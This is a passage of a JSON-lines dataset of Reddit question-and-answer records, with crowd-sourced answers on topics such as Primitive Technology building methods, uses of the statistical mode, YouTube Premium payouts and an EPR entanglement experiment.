will often send you a picture and (sometimes) send you letters from the child.  Both are just plucked from an undifferentiated pile of such pictures/letters linked to a specific contributor to encourage them to keep sending money.\n\nThat doesn't mean the charities aren't doing legitimately good work.  But a marketing trick remains a marketing trick no matter what kind of work you're doing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.m.wikipedia.org/wiki/Plumpy'nut#Cost"], [], ["https://www.google.co.uk/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0CCEQFjAA&amp;url=https%3A%2F%2Fwww.givingwhatwecan.org%2Fresearch&amp;ei=pI5VVIjeKMvnaMmngZgI&amp;usg=AFQjCNFmiB8kdorPP9qxHZHcKjvSUejvLw&amp;sig2=qKf3uZgpKBaXpHP_ioq67Q&amp;bvm=bv.78677474,d.d2s", "http://www.givewell.org/international"], ["http://www.charitynavigator.org/"], [], [], []]}
{"q_id": "6bjukq", "title": "how did \"think of the children\" become such an effective way of banning/restricting certain things such as alcohol and tobacco", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6bjukq/eli5_how_did_think_of_the_children_become_such_an/", "answers": {"a_id": ["dhn6ru5"], "score": [2], "text": ["Moral alarmists of the late 1800s and early 1900s. Its been used so many times that its more of a punchline now than an actual tactic for argument."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3wpxy1", "title": "Trying to find a furnished Japanese building from before 1900.", "selftext": "I'm working on a paper that explores the influence of Japanese interior design on American interior design, focusing on Frank Lloyd Wright. I am having a lot of trouble finding images of traditionally furnished Japanese rooms.  \n\nI was going to use the Katsura Palace but all images are of a completely empty building. I need something to show how traditional Japanese rooms were furnished but I either find pieces taken out of context or empty rooms.  \nThere are some contemporaneous images of the Hoo Den Temple from the World's Colombian Exposition (1893), but those are obviously very old an grainy, plus it was constructed on American soil for an American audience. I'd much rather use something in high res that is actually in Japan and preferably dating before Commodore Perry's expedition (1852) but before 1900 works just fine. \n\nI've been searching for weeks. Artstor hasn't been much of a help nor any of my school's databases. \n\nedit: clarification", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3wpxy1/trying_to_find_a_furnished_japanese_building_from/", "answers": {"a_id": ["cxy50l7"], "score": [2], "text": ["You could search for [Japanese Homes and Their Surroundings](_URL_0_) by Morse.  Not many photos, as I recall, but good drawings.  It was first published in 1886, Dover did a reprint of it and paperbacks of it are out there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Japanese-Homes-Their-Surroundings-Architecture/product-reviews/0486207463"]]}
{"q_id": "1bdglm", "title": "i can purposely make my vision blurry. how do i do that?", "selftext": "It sort of feels like I'm flexing some muscle in my eye.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bdglm/eli5_i_can_purposely_make_my_vision_blurry_how_do/", "answers": {"a_id": ["c95wddb", "c96273o"], "score": [6, 9], "text": ["It's voluntary accommodation in your eye. The muscles on either side of the lens in your eyes usually automatically adjust so that the light coming from the object you're viewing focuses on the retina. You are purposefully adjusting your eye, making the image unfocused on the retina (blurry).", "Very related ELI5:\n\nCan some people not do this?  I was under the assumption everyone can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6lahbo", "title": "Is it possible to create giant capacitors to store energy generated by solar/wind?", "selftext": "I just recently read an article on how California is generating so much solar energy that they have to give it to other states like Arizona, and pay them to take it, to prevent their own grid from being overloaded.\n\nSurely there's got to be a way we could store the energy, instead of just finding ways to expend it as it's generated. Some kind of super massive capacitor seems like a solution, though the potential dangers of one that size seem pretty insane.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6lahbo/is_it_possible_to_create_giant_capacitors_to/", "answers": {"a_id": ["djsbkfq"], "score": [14], "text": ["Energy storage is one of the biggest challenges today, and there are many ways to store it.  The trick is finding the most efficient and cost-effective method.\n\nAside from capacitors and batteries, there is chemical storage (_URL_0_), mechanical storage using flywheels (_URL_1_), storing compressed air (_URL_2_).  I even heard of a system that uses something similar to weighted subway cars in a circular, evacuated rail system.  As energy is created, it drives the subway faster, and as energy is needed, it is drawn from the moving subway, thereby slowing it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.climatetechwiki.org/technology/jiqweb-pcm-0", "https://en.wikipedia.org/wiki/Flywheel_energy_storage", "http://energystorage.org/compressed-air-energy-storage-caes"]]}
{"q_id": "4h2z5g", "title": "How accurate is the Primitive Technology channel? from what we know of early humans, would he be a good representation of building techniques?", "selftext": "[Link to channel](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4h2z5g/how_accurate_is_the_primitive_technology_channel/", "answers": {"a_id": ["d2n338n"], "score": [1817], "text": ["Generally yes, the methods you see on that channel are accurate. However, two important disclaimers: First, that I haven't watched all the videos (only about half), and second, that while the techniques are generally accurate there is a huge amount of variation, historically, to the various technologies displayed on the channel, both in terms of form (so the kind of housing produced) and in terms of the specifics of the techniques and the raw materials used. You can't really generalize to one set of technologies used by early humans, but what is represented on the channel is generally consistent with what you *could* find being used by people even up into the present, not necessarily even just \"early humans\". \n\nAll that said, there are really four kinds of technologies he is utilizing: wood, stone, basketry, and pottery/ceramic. The stone tools he used primarily to shape and collect the wood, and he does so in a very recognizable fashion for archaeologists who come across all sorts of stone tools that look very similar to what he is using. For instance, one of the most common stone tools - contrary to popular belief - is not the arrow head or stone point, but rather the hand axe. You can see him using these in several videos to cut and shape wood. [They tend towards a teardrop shape and you find these all over the world](_URL_2_) because they are extremely versatile, being useful for any sort of chopping motion including shaping/felling wood and dismembering animals. In fact, some of the earliest stone tools we have (from human species other than *Homo sapiens*) resemble the hand axe.\n\nHe also produces some other stone tools, like projectile points and a proper adze, and the techniques he uses here are roughly accurate though there is considerably more variation in how human produce these kinds of tools. I only single out the hand axes because they are one of the most common tools in all of human history. \n\nIn terms of the shelters he builds, there is going to be a tremendous amount of variation historically depending on environmental and cultural contexts in how exactly homes are built, but very broadly he builds a shelter that you could find in many places across the planet for much of human history. The big divergence would be his use of a tiled roof - this is pretty exceptionally uncommon historically, with thatch/sod roofs being far far more common than any sort of ceramic roof. Producing that many tiles is a huge expenditure of effort when a thatch roof can actually provide a very comparable level of protection from the elements with a much smaller expenditure of effort. The only downside being that a thatch roof will probably need to be replaced or fixed much more frequently than ceramic, but on the other hand replacing a single broken ceramic tile is going to be quite a pain in comparison to just rethatching the roof entirely. \n\nOtherwise, I'm a little surprised he built up the walls of the hut by just layering clay-rich mud (what we call [*puddled adobe*](_URL_1_) construction). Generally (but again, this is going to vary everywhere), a technique known as *wattle and daub* (sometimes called *jacal* construction) is used where a skeleton or frame of branches (the wattle) is created upon which a mud daub is applied to create a wall, [like so](_URL_0_). This is an extremely common building technique world wide because of the availability of the materials and the strength of the resulting walls. Puddling refers to building up successive layers of mud, but adobe more generally refers to using mud as a building material. This can range from the most formal - where you produce baked or sun-dried mud bricks - down to the most informal and expedient, the puddling style you see used in the videos. \n\nGenerally, the puddled adobe technique he uses is found more frequently in areas were wood is so scarce that building the wattle is prohibitive. Rain also tends to damage these adobe walls very quickly, unless they have been fairly high-fired (to the point of becoming more like bricks than soil). For instance, puddled adobe construction is very common in the U.S. Southwest because of the abundance of clay-rich soils but general lack of wood. The arid, desert coastline of Peru also sees the fairly extensive use of adobe construction, as do parts of the Mediterranean and Middle East. In environments with higher rainfall and abundant wood (like the one in the videos, I presume) this type of construction is fairly uncommon given the environmental constraints. A simple daub over a wattle core is much easier to replace when damaged by rain and humidity than rebuilding an entire puddled adobe wall. That said, his fired clay tile roof should help reduce any water damage to the walls since it is likely far more impermeable to water than a thatch roof (though thatch can work surprisingly well to keep out even hard, tropical rains). \n\nOther unusual features are the chimney and the heating platform. While neither of these are totally unheard of historically, they, alongside the tile roof, are not common in vernacular architecture globally. Chimneys usually take a much less elaborate form, with some sort of modification made to the roof instead (even as simple as a hole in the roof in very arid environments). The heating platform under the hut is probably the most unusual feature, but again, not completely without precedent. The utility of that feature in what looks like a tropical or sub-tropical environment seems up for debate. \n\nHe is also quite a good potter. He sources his clays well - you need to find soils naturally rich in clay, and you'll notice that for both the walls of the hut and the pottery he makes he collects soil from the bank of what looks like a small creek. This is a very common collection zone for clays in many societies since rivers and other water features tend to produce clay-rich soils. The action of water naturally sorts different soil particles by size, separating the fine-grained clay particles from the larger silts and sands. However, pure clay would be disastrous to make pots with as they are liable to break when being fired. As such you can see that he grinds up some of his spare tiles to incorporate into the clay. Because the tiles are already fired they are less vulnerable to thermal stress, reducing the vulnerability of the pot as a whole to thermal stress both while cooking with it and firing it initially. Using pottery as a temper (i.e. aplastic inclusions in clay for pottery) is a common technique, but other tempers are viable. For instance, crushed rock (especially igneous rock), bone, shell, sand, and organic tempers like straw. Generally you see a greater use of rock and sherd tempers in arid environments and a greater use of bone, shell, and organic tempers in tropical environments, but this isn't a hard and fast rule so I don't see any problem with him using that technology. \n\nIn summary, the stone tool technologies he employs are very accurate and something you could see at just about any point in human history. The construction technique he employs for the hut is generally accurate, but the use of a tile roof is unusual and the sparse use of wood in the construction (despite being in a heavily forested environment) is unusual, but the puddled adobe technique is found in many parts of the world (just not usually tropical environments). The sub-floor heating and the formal chimney are also unusual features (especially for a tropical/sub-tropical environment), but neither is totally without historical precedent. \n\nThe pottery he produces is also very much in line with pottery production across the world, using alluvial (riverine) clays, sherd temper, and employing a coiling technique to construct the pot itself (instead of a potter's wheel, which is not very common in pottery production for most of human history). \n\nSo basically most of the channel does represent actual techniques used by people globally for quite a long time, but not all of these technique necessarily suit the environment he is working in. That said, the amount of variation in technology globally means even what we think of as \"typical\" for a particular environment is almost always bound to have exceptions. All the techniques individually are more or less accurate, and so their combination together is the only real stumbling point (but a forgivable one given all the variance globally). \n\nEdit: As was pointed out in several comments, he actually builds a wattle and daub structure in an earlier video (as well a completely thatched structure). Between the three he covers what are some of the most common building techniques worldwide and historically. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/channel/UCAL3JXZSzSm8AlZyD3nQdBA"], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/e/e5/Wattle_and_daub_construction.jpg", "https://www.archaeologysouthwest.org/wp-content/uploads/2014/07/PuddledAdobeExperiment-480x640.jpg", "http://2.bp.blogspot.com/-LA0v_D5-LJg/UQmZuXsi-cI/AAAAAAAAFig/58WItnGug1A/s1600/PicksCleaversHandaxes.png"]]}
{"q_id": "1ysycy", "title": "we all learned how to calculate mean, mean and mode in school when learning about averages but i've never seen mode actually used; what are its real world applications?", "selftext": " I've seen mean and median used in research and news reports hundreds of times, but never mode.  What are its real world uses?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ysycy/eli5_we_all_learned_how_to_calculate_mean_mean/", "answers": {"a_id": ["cfngin7", "cfngnth", "cfngot6", "cfni65u", "cfnkb8b", "cfnsiq8", "cfnudcr", "cfo655v"], "score": [3, 19, 2, 6, 3, 2, 2, 2], "text": ["Mode has limited use but it does get some.  Generally, its only used when the Median and the Mean are worthless.\n\nFor example, consider the number set: \n\n1,1,2,2,3,15,16,23,23,23,56,74,94,104\n\nThe Average is 31.21.  The really big spread in data makes the average virtually useless as it does not describe the data very well.\n\nThe Median is 19.5.  Same for the median, the spread is too wide and varied.\n\nThe Mode is 23.  So sadly, the mode is the only thing that indicates anything reliable about the data.\n\n\nIts not a great example, but the Mode is not a commonly used tool.  Its only real use is when Median and Average are terrible at describing the data.\n\n", "Businesses use mode all the time.  Let's pretend we run a clothing store.  While we sell shirts that range from XS - XXXL.  If we are trying to stock our shelves with the proper amount of each size, we aren't going to use the median or the mean.  Just because \"Large\" is in the middle, that doesn't mean that it will be the hottest seller.  After looking at the sales numbers, we see that Medium is the size that sells the most, so it would be wise of us to purchase more Mediums than Larges.  ", "I think one example would be anything that's really a \"first past the post\" vote:\n\n\"How many school discos should there be next year?\" would be one example where the mean and median would both make sense, but the mode would not infrequently be used.\n\ne.g.\n0,0,0,2,2,2,2,2,3,3,3,3,3,4,5,5.\n\n", "Mean, median, and mode are three statistics that describe a distribution's central tendency. To answer your question about real world applications, using the mode is the single best predictor for describing a random value from the sample given that your goal is to be spot-on correct. This contrasts with using mean and median as a predictor; these statistics are useful when attempting to describe a random value from the distribution where error--either the squared distance or just the difference itself--are important parameters.\n\nIn other words, use the mode if someone asks you, \"which number do you think I'll draw from the sample?\" Fun Fact: this is what underpins basic blackjack strategy! ", "First, i believe you need to correct your question. I hope you are asking about mean, median and mode :) Now let's take a look at them one by one. All the three terms are used for calculating average.\n\nAverage as you might know is the sum of all the values in a data set divided by the number of values. This is also called arithmetic mean or to keep it simple \"mean\". Let's consider the mark of 6 different students in Physics out of 50. Let them be 10,12,12,12,13,25. Now according to the definition above the mean of this data set is (10+12+12+12+13+25)/6 which turns out to be 14. This makes both 10 and 25 equivalent to 14. Also it is more than five of the six scores present. It doesn't give you a good idea of what each student got in the exam. This is called \"central tendency\" in statistics. we want an approximate ballpark figure. As you can see mean is not such a good way to get _URL_0_'s exactly like Bill Gates walking into a bar and everyone in the bar turning into a millionaire because of his huge wealth.\n\nNow let's consider median. Median essentially means the middle value. In order to obtain median you have to arrange the data set in increasing or decreasing order. Once you are done with that you have to find the number of elements in it. let's say the number is n. Now if the number of elements is even there are two medians i.e the n/2^th and n/2+1^th term and if odd then n/2+1^th term is the median. Let's consider the above example again.Arranging them in increasing order we get 10,12,12,12,13,25. The number of elements here is 6 which is an even _URL_1_ the n/2 term is 3^rd term which is 12 and n/2+1 term is 4^th term which is again _URL_2_ our median is 12. Now 12 represents a better picture. Right? It is closer to 5 out of 6 elements. So we can safely say the median is 12 which is how most of the students in Physics have performed. It represents central tendency in a better way. If we add one more element then the median will only be the 4^th value which is 12.\n\nLet's visit mode now. You might ask that we have a estimate which provides a approximate picture of the performance. Why do we need something more? Let's tweak our example a bit. Instead of class let's consider an office which consists of 9 employees and let their salary be $10000, $11000, $11000, $12000,$12000, $13000, $13000, $13000, $13000.If you calculate median it is the 5^th figure which is $12000.if you look at above set it doesn't give you a great picture of what everyone is getting as salary. \"Most of them\" are getting $13000. When asked how much every one is making at your place, $13000 is a much better figure than $12000. And this is what mode is. In statistical terms mode is the maximum occurring value in data set when it is arranged in ascending or descending order.\n\nMean, median and mode are interchangeably used for calculating average. I hope i have explained it just the way you wanted :)", "When most people talk about \"average\" we understand \"mean.\" That's the most useful measure most of the time. But consider this:\n\nLet's say you and 9 other people in a room make $50K a year each. Your mean, median and mode are all the same at $50K.\n\nNow let's say Bill Gates walks into that room. Suddenly your \"mean\" income has skewed enormously, to the point where it's ridiculous to even talk about the number because it's meaningless.\n\nBut your median and mode would remain at $50K in spite of Bill Gates.", "Probably because you don't hear it referred to as \"mode\" in general speak. If you consider that mode is basically synonymous with \"most common/frequent\" or \"most commonly\", as in most commonly sold or purchased or identified or occurring or whatever the application calls for, you can think of a million times when it does come up.", "In medicine mode is quite important. Especially when talking about bimodal diseases - often there might be a peak in incidence in (say) 20-30 and a second peak in 70-80. Mean and median might produce a number in the middle, even though relatively few people aged 50-60 get the disease "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["that.It", "number.so", "12.So"], [], [], []]}
{"q_id": "bxirqt", "title": "if many youtubers rely on ad revenue, does subscribing to youtube premium hurt their revenue? if not, how is the subscription cost divided?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxirqt/eli5_if_many_youtubers_rely_on_ad_revenue_does/", "answers": {"a_id": ["eq72qry", "eq78mnb", "eq7bcid", "eq7xbo4"], "score": [15, 79, 4, 2], "text": ["Is it possible to get notified when there is an answer cause that question is pretty interesting ?", "Pretty sure when someone watches with YouTube Premium, the content creator gets a small cut. I remember some Youtuber said it was roughly double the amount an ad would get them. So, YouTube Premium actually helps content creators.\n\nEdit from YouTube Premium FAQs:\n\nWill creators still be paid with YouTube Premium?\n\nYes, of course. In fact, YouTube Premium provides a secondary revenue stream for creators in addition to what you're already earning today through ads.\n\nHow is revenue determined?\n\nCurrently, new revenue from YouTube Premium membership fees is distributed to video creators based on how much members watch your content. As with our advertising business, the majority of the revenue will go to creators.", "From what I understand about youtube premium :\n\nYoutubers still get ad revenue for non-premium viewers.\n\nThey get paid from a pool of all the premium money.\n\nThis amount depends on \"viewer engagement\" .\n\nViewer engagement is how many viewers comment, like and subscribe (which is why youtubers are always telling people to do this).\n\nThey also get more money for longer videos (which is why they tend to ramble on about nothing to do with the video and take about 10mins to get to the point).", "No it does not. Actually opposite, in most cases* on average it yields a better rate per view from a user with Premium subscription than an ordinary ad viewer.\n\n*There are edge cases where in stream video ad might be priced higher but usually that's not the case. \n\nSource: experience with business in YouTube.\n\nPS. If one can afford it, it'd benefit both sides."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2w2rkq", "title": "What is the color spectrum directly after the Big Bang?", "selftext": "If you were looking at the Big Bang from a cross section, which colors would be near the edges and in which order, and how long after until humans would be able to see color? I'm a layman and this might be completely wrong, but from what I understand, spectroscopy gives us insight into which elements are present in matter based on the kind of light they emit or reflect. Are certain elements concentrated along the edges of the explosion or is it a uniform white until matter begins to later coalesce into recognizable bodies like stars and galaxies?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2w2rkq/what_is_the_color_spectrum_directly_after_the_big/", "answers": {"a_id": ["conqmjq"], "score": [2], "text": ["\"Are certain elements concentrated along the edges of the explosion\"\n\nI think this entire question comes from a misunderstanding of what the Big Bang is so instead of answering your question I'll try to explain that.\n\nOn extremely large scales the universe appears spatially homogeneous and isotropic. \n\n(Homogeneous means is the same everywhere and isotropic means looks the same in every direction, note these two are NOT the same. A sphere would be isotropic from the centre and a uniform fluid flow would be homogeneous.)\n\nIf we attempt to find a spatially homogeneous and isotropic solution to the Einstein field equations (the equations of general relativity) we find the F(L)RW metric :\n\n_URL_0_\n\nA metric (basically) tells you how to measure distances.\n\nIf we take our \"best guess\" for the universe we find that at a time (usually chosen to be called t = 0) the metric has an overall factor of 0 and so there is no defined distance between points. The expansion from this singular point is called the Big Bang. It involves no \"explosion\" and there is no edge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Friedmann%E2%80%93Lema%C3%AEtre%E2%80%93Robertson%E2%80%93Walker_metric"]]}
{"q_id": "28a7f3", "title": "[Physics] Why is for example Lithium more electropositive than Potassium?", "selftext": "Seing as they both lack the same amount of electrons.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28a7f3/physics_why_is_for_example_lithium_more/", "answers": {"a_id": ["ci8yhu3"], "score": [7], "text": ["Lithium is not more electropositive than potassium. Lithium has an electronegativity of 0.98, and potassium has one of 0.82. The reason for this is because potassium has more electrons, and they shield the pull of the nucleus from the valence electron, meaning that it is held more loosely than lithium's valence electron. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1jm0dm", "title": "What type of influence or legacy has ancient middle eastern art had on western culture? Why isn't there more interest in the cultural legacies of these cultures like there is in Roman or Greek heritage?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jm0dm/what_type_of_influence_or_legacy_has_ancient/", "answers": {"a_id": ["cbg0o2v", "cbg1hek", "cbg2tx5", "cbg3cri"], "score": [5, 12, 3, 2], "text": ["To answer your second question, you need to remember that you live in the western world, using a western language, in a world currently dominated by western culture. I'm assuming you live in North America or Europe; as most of the people in these nations have descended from early Europeans such as the Romans and Greeks, it follows suite that this is where most of their interests lie.", "Sooner or later anyone that attends a lecture series that begins from the get go with :   \n   \n >  Let G be a finite group, let K be a field, and let V be a finite-dimensional vector space\nover K.    \n >  Denote by GL(V ) the group of invertible linear transformations from V to itself.   \n >  A group homomorphism *p* : G - >  GL(V ) is called a linear K-representation of G in V\n(or just a representation of G for short).     \n >  One gains information about the structure of G by studying the totality of representations of G (i.e., various *p*, V , and K).        \n   \nis going to be set a question about planar symmetry in Islamic Art.     \n   \nThe thing about Islamic Art is that because representations of the human form are not permitted it ended up pushing the envelope of [Geometry  &  Symmetry](_URL_3_) which became, if you will, a *sub language* of the artform, and craftsmen explored most variations of plane tiling patterns and their projections onto curved surfaces.    \n   \nWikipedia has a [list of planar symmetry groups](_URL_0_) and to this day papers are still written about how many of the 17 wallpaper groups can be found in Islamic Art. eg: [Symmetry in Islamic Geometric Art](_URL_1_) (Brian Wichmann 2009 PDF).   \n    \nThe modern extensions of the explorations pioneered by Islamic Artists/Geometers are used by quantum chemists, cryptographers, string theorists, and [barbershop quintets](_URL_2_).       \n", "Important question: are you asking about specifically ancient, as in pre-Islamic or even pre-hellenistic ancient, or are you asking about Islamic art as well? Because the answers to those questions may differ substantially, and the answer to the first will inevitably draw to a greater or lesser degree on the fact that cuneiform, and with it much of the cultural structure it supported, was totally lost from around 100 BCE to about 1857(as convenient a year as any in the middle of the 19th century to peg the decipherment of Akkadian to, or at least to a point where some amount of Akkadian material could be read and understood reasonably well). EDIT: To pick an example in the realm of art, the cylinder seal(by far one of, if not the most important, medium of art in Mesopotamia) for obvious reasons would not be expected to persist very long after the demise of writing on clay as a common practice.", "Due to being under Islamic rule for a long time, Spain has a very heavy Muslim influence in art, architecture and culture. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/List_of_planar_symmetry_groups", "http://www.tilingsearch.org/islamgrp.pdf", "http://www.youtube.com/watch?v=UTby_e4-Rhg", "http://artofislamicpattern.com/resources/educational-posters/"], [], []]}
{"q_id": "220ap5", "title": "why are there so many personal injury lawyers? is it that profitable of a business?", "selftext": "Also, what happens when the clients lose the case? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/220ap5/eli5_why_are_there_so_many_personal_injury/", "answers": {"a_id": ["cgi3fb7", "cgi4e6h", "cgi4hco", "cgi59wg", "cgi80o5", "cgiafd4", "cgimup9"], "score": [2, 13, 4, 4, 2, 2, 3], "text": ["Most cases are settled out of court, most of the time which is cheaper than the defendant hiring a legal team and fighting the case.\n\nFor example, if the insurer knows it would cost them 50k to fight the case, but the opposing lawyers might offer a settlement of 40k which they will accept because it's cheaper for them.\n\nIn Australia, we used to have office blocks full of \"lawyers\" who would arrange these settlements, make a cut and make a shit load of money. The government at the time made the \"no win, no fee\" model more difficult for companies to operate with (I can't recall the exact details) and then customers weren't as interested. ", "Because a lot of people sustain personal injuries. \n\nThey all need representation.\n\nIn addition, it is much easier to get clients that way, because clients are not required to pay anything out of pocket. Most personal injury cases are handled on contingency basis making legal representation affordable even for poorest people.", "Yes, yes it is that profitable.  For the Ken Nugents and Jackson Masseys of the world, they have a small army of underlings who work for an injured person, and most times the case is settled out of court and the injured person is charged about 33% of their recovery.  In this case, the underling may spend a few hours of work and bring in 10k or more.  Then you have the case where someone is hit by a commercial truck or something,  think Coca Cola, Sysco Foods,  some very large company,  they sue, go to court and plaintiff gets awarded 3 Million dollars.  Lawyer gets $1M.  Plaintiff pays taxes on $3M, plus $1M to the lawyer, and is left with less than $1M.   If I'd have known how much personal injury attorneys made,  I'd have been one. ", "Lawyer here! It is incredibly profitable, *if you're good at it.* There are plenty of grinders out there who honestly don't do thrillingly well by attorney standards. But there are many who do quite well.\n\nIn the U.S., 90%+ of all personal injury (PI) cases are taken on a \"contingency fee\" basis, meaning that the attorney only takes a fee if you win.  That fee is usually 33% of the total recovery, plus expenses. In a *lot* of PI cases and related proceedings, the injured party often has the ability to recover attorney's fees.\n\nThis puts PI attorneys in a very enviable position\u2014they can take big and small cases and make out like a bandit.  If they win a big case, they take a massive cut. If they win a small case, they may be able to recover a \"reasonable\" fee for their time. (Think $300-$400/hour.) And the whole time, they're pursuing deep-pocket or insured defendants.\n\nBy way of example, I recently settled a product liability case for $1.9M. (Horrible fluke accident; a woman lost her husband and suffered nasty burns herself, so I hardly begrudge the money.) That's $600k in his firm's pocket right there, and the whole ordeal went on for about a year. And we were only one part of the puzzle\u2014in products liability cases, you can sue the retailer of the product, the distributor, and all the way up the chain to the manufacturer/designer of the product. And each one of these parties has insurance money behind them. By the end of the day, I estimate that this one accident brought between $2.5M and $3M to that guy's firm.\n\nOn the other side of the coin, I lost a small-fries $10k case as a young pup. But the other side got fees of $24k or so. In the aggregate, it was probably 2 weeks worth of solid work for him.", "Tort law is more lucrative in the United States then in other countries. \n\nFirstly, since your healthcare system is private, an injury lawsuit will include all recoverable medical expenses.  The lawyer then takes a cut of that. \n\nAlso, punitive damages are an established feature of American common law.  So if someone is egregiously wrong, and not just negligent (say, rear-ending you on purpose,) you can be rewarded above and beyond the damages incurred.  \n\nMost other common-law regimes have statutory limits on such damages. ", "It is less of a matter of there being so many, and more of a matter of them being more likely to advertise in mainstream media.\n\nLawyers who handle corporate acquisitions don't buy space on billboards.", "No theyre all going broke. None of them make money that's why they advertise everywhere. This question is fucking stupid. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5xbdow", "title": "einstein paradox and multidimensionality", "selftext": "I saw this post: _URL_0_ and wanted to understand it better.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xbdow/eli5_einstein_paradox_and_multidimensionality/", "answers": {"a_id": ["dejzbsn"], "score": [2], "text": ["Einstein and some of his colleagues thought they had found a paradox that showed that quantum mechanics was incomplete. Quantum says you can make it so two particles always know the relationship between their states, even if they don't know what their own states are. Then if you measure one particle, the other will always know what state it has to be in (because of that relationship), even if they're very very far away at the time. It seems weird that they'd instantly know about each other like that, since they're far away and can't interact anymore. Maybe they actually just secretly knew their values all along, then it wouldn't be weird at all.\n\nBut quantum also says that no, they really couldn't have secretly known everything about their states all along. Remember the uncertainty principle? What if you did something like measure one particle's momentum to find out what the second particle's is. And then you measure the second particle's position. But then you'd exactly know both its position and momentum at the same time! And quantum says you can't do that.\n\nSo, said Einstein and his friends, something must be wrong with quantum.\n\nExcept we checked, and quantum's fine. This guy named John Bell worked out that you could entangle particles and do various measurements on them, and then look at how measurements on one particle relate to the measurements on the other. Quantum makes different predictions about what you'll see, compared to what you'd get if the particles always secretly had these hidden values. And we've been checking in a bunch of increasingly careful ways for about 40 years now, and so far quantum's always held up. Turns out that things are just weird.\n\nIn this experiment, instead of entangling two particles, they're entangling one particle (a photon) with about a trillion other particles (atoms). Specifically, they're entangling the photon's momentum and position with the collective state of the atoms.\n\n \n\nThe ELI > 5 version of the experiment:\n\nThey prepare a gas of about a trillion rubidium atoms in their ground states (so every atom's valence electron is in its lowest energy level). Then they shine a certain wavelength of light on all the atoms. This has some small chance of generating a combination of a photon (at a different wavelength) and a \"spin-wave excitation\" (which is sort of like one atom absorbing the initial light and then emitting that photon, except it's a superposition of each atom doing that while the rest are unaffected).\n\nAnd the point of doing all of this is that they're left with a state where the momenta of the excitation and the photon are anti-correlated, while their positions are correlated. So then they've entangled all the atoms, collectively, with this photon.\n\nAfter all that, they shine on more light to basically undo that spin-wave excitation, which returns all the atoms to their ground states and results in a photon of yet another wavelength being emitted. This new photon carries the information about the position and momentum of the spin-wave excitation. They can wait a pretty long time before applying this second pulse of light, and still get the information out.\n\nAnd then they have some basic optics and some very fancy sensitive detectors set up to let them measure either the positions or the momenta of the two photons. And then they see that, as expected, the results match what quantum mechanics predicts.\n\nThis is neat for several reasons:\n\n1) Position and momentum were in Einstein's original example, and talking about Einstein and paradoxes and all that is good for getting people interested in your work. And position and momentum are continuous variables (unlike, say, a particle's spin, which will take on just a few discrete values), so they've got a lot of different possible states to measure, since they have a detector with good spatial resolution.\n\n2) They're entangling light with matter. This is pretty useful (and not uncommon, lots of people work on similar things). Sometimes you want something that travels like a photon, sometimes you want something that sticks around like a bunch of atoms.\n\n3) They can store and then retrieve the state from the atoms, after a relatively long delay of several microseconds. Having a lot of atoms is helpful for this, since you can lose a few without messing everything up. And being able to store (and eventually manipulate) states is really important if you want to  use your system in a bunch of applications. I'd say this is the biggest deal about this experiment.\n\n4) So far they just been entangling position and momentum, but it sounds like they're considering ways to entangle other degrees of freedom like polarization, too.\n\n5) They can apparently entangle their atoms with up to 12 photons at once. The paper doesn't talk about that, though, so I can't go into much more detail there. Still cool, anyways.\n\n \n\nTL;DR - Quantum still works the way we think it should. These scientists entangled a photon with a bunch of atoms, and they can store that entangled state for a long time."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/science/comments/5x4my6/new_light_is_shed_on_the_famous_paradox_of/?st=IZTCCXCD&amp;sh=3fd0d3a1"], "answers_urls": [[]]}
